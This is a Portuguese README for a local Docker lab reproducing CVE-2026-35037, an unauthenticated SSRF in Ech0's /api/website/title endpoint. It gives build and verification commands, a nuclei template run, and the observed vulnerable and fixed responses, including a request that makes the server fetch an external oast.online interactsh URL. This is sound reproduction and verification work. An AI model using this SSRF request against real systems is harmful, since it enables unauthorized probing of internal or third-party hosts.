
Lab de reprodução isolado local para CVE-2026-35037, uma vulnerabilidade SSRF não autenticada no endpoint GET /api/website/title do Ech0. Inclui configuração do Docker Compose, script de verificação e template nuclei para validação.
Este repositório contém um laboratório de reprodução local e isolado para CVE-2026-35037, uma vulnerabilidade de SSRF não autenticada no endpoint GET /api/website/title do Ech0.
O laboratório usa um servidor de evidências local controlado em vez de metadados de nuvem ou infraestrutura de terceiros.
lin-snow/Ech0CVE-2026-35037GHSA-cqgf-f4x7-g6wc<= 4.2.1; o NVD descreve versões anteriores a 4.2.84.2.8GET /api/website/titlewebsite_urlReferências:
docker-compose.yml: inicia o Ech0 e um servidor HTTP de evidências localDockerfile.ech0-lab: compila o Ech0 a partir da tag oficial do GitHubverify-cve-2026-35037.sh: envia a solicitação controlada de verificação de SSRFevidence/index.html: página HTML controlada com um <title> úniconuclei/CVE-2026-35037.yaml: template candidato para nucleiTags Docker vulneráveis históricas, como sn0wl1n/ech0:4.2.1, não estavam disponíveis quando este laboratório foi criado. O laboratório compila a partir das tags oficiais do GitHub lin-snow/Ech0 em vez disso:
v4.2.1 para o candidato vulnerávelv4.2.8 para a comparação corrigidaO Dockerfile local também evita problemas de build upstream observados com o build.Dockerfile histórico.
curlnucleiExecute isso apenas em um laboratório local isolado. Não use estes comandos contra sistemas de terceiros. Use apenas contra sistemas que você possui ou para os quais tem autorização escrita explícita para testar.
Inicie o Ech0 v4.2.1:
ECH0_TAG=4.2.1 docker compose up -d --build
Envie a solicitação de verificação controlada:
sh verify-cve-2026-35037.sh
Resposta vulnerável esperada:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}
Confirme que o Ech0 alcançou o servidor de evidências controlado:
docker compose logs evidence
Log de evidências observado:
ech0-cve-2026-35037-evidence | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -
Inicie o Ech0 v4.2.8:
docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build
Execute a mesma solicitação:
sh verify-cve-2026-35037.sh
Resposta corrigida observada:
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}
Valide o template:
nuclei -validate -t nuclei/CVE-2026-35037.yaml
Execute contra o v4.2.1 vulnerável:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
Resultado vulnerável observado:
[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.
Execute contra o v4.2.8 corrigido:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
Resultado corrigido observado:
[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.
docker compose down -v
http://evidence:8080/ dentro da rede do Docker Compose.{{interactsh-url}} e requer suporte a OAST/interactsh.{{interactsh-url}}, que contata os servidores interactsh do ProjectDiscovery, como oast.online ou oast.fun, por padrão. Use -iserver para substituir o servidor ou -ni para desativar o interactsh.